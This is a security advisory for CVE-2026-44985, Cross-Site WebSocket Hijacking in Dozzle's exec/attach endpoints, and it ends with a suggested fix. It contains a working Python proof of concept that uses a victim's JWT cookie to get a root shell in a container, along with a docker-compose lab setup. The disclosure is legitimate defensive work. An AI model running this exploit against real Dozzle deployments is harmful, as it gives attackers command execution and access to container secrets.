CVE-2026-44985

## Summary The WebSocket upgrader for the `/exec` and `/attach` endpoints uses `CheckOrigin: func(r *http.Request) bool { return true }`, accepting upgrade requests from any origin. Combined with the JWT cookie using `SameSite: Lax`, this enables Cross-Site WebSocket Hijacking (CSWSH) — **even when authentication is properly configured**. An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access. ## Root cause **1. CheckOrigin bypassed (`internal/web/terminal.go:15-21`)** ```go var upgrader = websocket.Upgrader{ ReadBufferSize: 1024, WriteBufferSize: 1024, CheckOrigin: func(r *http.Request) bool { return true }, } ``` The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return `true` removes the only server-side defense against CSWSH. **2. JWT cookie with SameSite=Lax (`internal/web/auth.go:20-27`)** ```go http.SetCookie(w, &http.Cookie{ Name: "jwt", Value: token, HttpOnly: true, Path: "/", SameSite: http.SameSiteLaxMode, Expires: expires, }) ``` `SameSite` operates at the **site** level (eTLD+1), not the origin level. A page on `evil.example.com` can make a WebSocket request to `dozzle.example.com` and the browser will attach the JWT cookie, because they share the same site (`example.com`). `SameSite=Lax` only blocks cross-**site** requests (different eTLD+1), not cross-**origin** requests within the same site. ## Attack scenario Preconditions: Dozzle is deployed with `--enable-shell` and authentication configured (simple auth). The victim is logged in. 1. Attacker controls a page on the same site (e.g., `attacker.example.com`, or another service on `localhost:8888` while Dozzle is on `localhost:9090`) 2. Victim visits the attacker's page while authenticated to Dozzle 3. Attacker's JavaScript opens `new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec')` 4. Browser sends the JWT cookie (same-site, `SameSite=Lax` allows it) 5. Dozzle's `CheckOrigin` returns `true` — upgrade accepted 6. Auth middleware validates the JWT from the cookie — request authenticated 7. Attacker has a shell in the victim's authorized containers ## PoC (auth enabled) **Setup — Dozzle with authentication + shell:** docker-compose.yml: ```yaml services: dozzle: image: amir20/dozzle:latest ports: - "9090:8080" volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - ./data:/data environment: - DOZZLE_AUTH_PROVIDER=simple - DOZZLE_ENABLE_SHELL=true target: image: alpine:latest command: sh -c "while true; do sleep 3600; done" ``` data/users.yml: ```yaml users: admin: name: Admin # password: admin123 password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS" email: admin@test.local roles: shell ``` **Exploit — CSWSH with cross-origin Origin header + victim's cookie:** ```python import json, time, websocket, requests target = "http://localhost:9090" # Verify auth is enabled r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True) r.close() assert r.status_code == 401, "Auth not enabled" # Victim logs in r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"}) jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0] # Get container info (authenticated) r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10) for line in r.iter_lines(decode_unicode=True): if line and line.startswith("data: "): data = json.loads(line[6:]) if isinstance(data, list) and len(data) > 0 and "host" in data[0]: host_id = data[0]["host"] cid = data[0]["id"] break r.close() # CSWSH: cross-origin WebSocket with victim's cookie ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec" ws = websocket.create_connection( ws_url, timeout=10, cookie=f"jwt={jwt}", origin="http://localhost:8888" # DIFFERENT origin ) # Connected! CheckOrigin:true accepted the cross-origin request ws.send(json.dumps({"type": "resize", "width": 120, "height": 40})) time.sleep(1); ws.recv() ws.send(json.dumps({"type": "userinput", "data": "id\n"})) time.sleep(2) ws.settimeout(2) output = [] try: while True: output.append(ws.recv()) except: pass ws.close() print("".join(output)) # uid=0(root) gid=0(root) groups=0(root) # Verify: without cookie = rejected try: ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888") ws2.close() except Exception as e: print(f"Without cookie: {e}") # 401 Unauthorized ``` **Result:** ``` [+] Auth is ENABLED (events stream returns 401) [+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888 [+] uid=0(root) gid=0(root) groups=0(root) [+] Without cookie -> 401 Unauthorized ``` ## Impact Users who deploy Dozzle with `--enable-shell` and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to: - Execute arbitrary commands in any container the victim has access to - Read secrets, environment variables, and files inside containers - Pivot to other services accessible from the container network - Potentially escape to the Docker host if the socket is mounted writable ## Suggested fix Remove the custom `CheckOrigin` override and use the gorilla/websocket default, which rejects cross-origin requests: ```go var upgrader = websocket.Upgrader{ ReadBufferSize: 1024, WriteBufferSize: 1024, // Default CheckOrigin rejects cross-origin requests } ```

Dozzle's Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpointsbypasses authentication in github.com/amir20/dozzle